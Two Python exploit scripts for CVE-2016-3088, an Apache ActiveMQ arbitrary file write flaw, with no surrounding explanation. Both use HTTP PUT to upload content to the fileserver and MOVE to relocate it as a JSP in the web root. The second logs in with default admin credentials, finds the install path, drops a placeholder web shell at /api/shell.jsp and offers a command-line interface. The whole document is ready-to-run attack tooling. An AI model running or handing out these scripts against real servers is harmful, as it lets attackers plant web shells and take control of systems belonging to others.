CVE-2016-3088(ActiveMQ任意文件写入)

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project ：UzJuSecurityTools 
@File    ：2.ActiveMQFileWrite.py
@Author  ：UzJu
@Date    ：2021/12/27 10:26 下午 
@Email   ：UzJuer@163.com
'''

import requests


class ActiveMQFileWrite:
    def __init__(self, url, username, password):
        self.url = url
        self.poc = "UzJu_test"
        self.path = "/fileserver/UzJu_1.txt"
        self.username = username
        self.password = password

    def getUploadFile(self):
        result = requests.put(url=self.url + self.path,
                              data=self.poc)
        if result.status_code == 204:
            print(f"[+]WebShell-{self.poc}写入成功")
        else:
            print(f'[-]写入失败, 状态码:{result.status_code}')

    def getAndMoveFile(self):
        headers = {
            "Destination": "file:///opt/activemq/webapps/api/UzJu_1.jsp"
        }
        result = requests.request("MOVE",
                                  url=self.url + self.path,
                                  headers=headers)
        if result.status_code == 204:
            print(f"[+]文件移动成功，请访问,{self.url}/api/UzJu_1.jsp")
        else:
            print(f"[-]文件移动失败，状态码:{result.status_code}")

    def getCheckVuln(self):
        result = requests.get(url=self.url + "/api/UzJu_1.jsp",
                              auth=(self.username, self.password))
        if result.status_code == 200:
            print(f"[+]存在漏洞, Payload: {result.text}")
        else:
            print(f"[-]不存在漏洞，或文件上传失败，或其他原因")


if __name__ == '__main__':
    main = ActiveMQFileWrite('http://ip:8161', "admin", "admin")
    main.getUploadFile()
    main.getAndMoveFile()
    main.getCheckVuln()

#!/usr/bin/python
# -*- coding:utf-8 -*-

import re
import base64
import requests
import argparse

def exp(domain, port, passwd):
    if 'http' not in domain:
        domain = "http://" + domain
    domain = domain + ":{}".format(port)
    admin_path_domain = domain + "/admin/test/systemProperties.jsp"
    login = 'admin:{}'.format(passwd)
    login_base = base64.b64encode(login.encode('utf-8'))

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
        'Authorization': 'Basic {}'.format(login_base.decode('utf-8')),
    }

    path_req = requests.get(admin_path_domain, headers=headers)
    if path_req.status_code == 200:
        root_path = re.findall('<td class="label">activemq.home</td>.*?<td>(.*?)</td>', path_req.text, re.S)[0]

        uptext = '''your code'''

        put_domain = domain + '/fileserver/shell.txt'
        put_req = requests.put(put_domain, headers=headers, data=uptext)
        if put_req.status_code == 204:
            move_file_header = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
                'Destination': 'file://{}/webapps/api/shell.jsp'.format(root_path)
            }
            move_req = requests.request("MOVE", put_domain, headers=move_file_header)
            if move_req.status_code == 204:
                print("\033[1;32m[+] Success!\nFile Path:[ %s ]\033[0m" %(domain + "/api/shell.jsp"))
            else:
                print("\033[1;31m [-] Move Fail,status code's{}，please check!\033[0m".format(move_req.status_code))
        else:
            print("\033[1;31m [-] Write Fail,status code's{}，maybe is not CVE-2016-3088!\033[0m".format(put_req.status_code))
    else:
        print("\033[1;31m [-] Login Fail,please check the password!")

if __name__ == '__main__':
    description = '''use method:
    python3 cve-2016-3088.py -d 127.0.0.1
    python3 cve-2016-3088.py -d 127.0.0.1 -p 8161 -P password'''
    parser = argparse.ArgumentParser(description=description, formatter_class=argparse.RawDescriptionHelpFormatter)
    try:
        parser.add_argument('-d', '--domain', help='target domain, required')
        parser.add_argument('-p', '--port', default='8161', help='target port, default 8161')
        parser.add_argument('-P', '--password', default='admin', help='target password, default admin')
        args = parser.parse_args()
        exp(domain=args.domain, port=args.port, passwd=args.password)
    except:
        parser.print_help()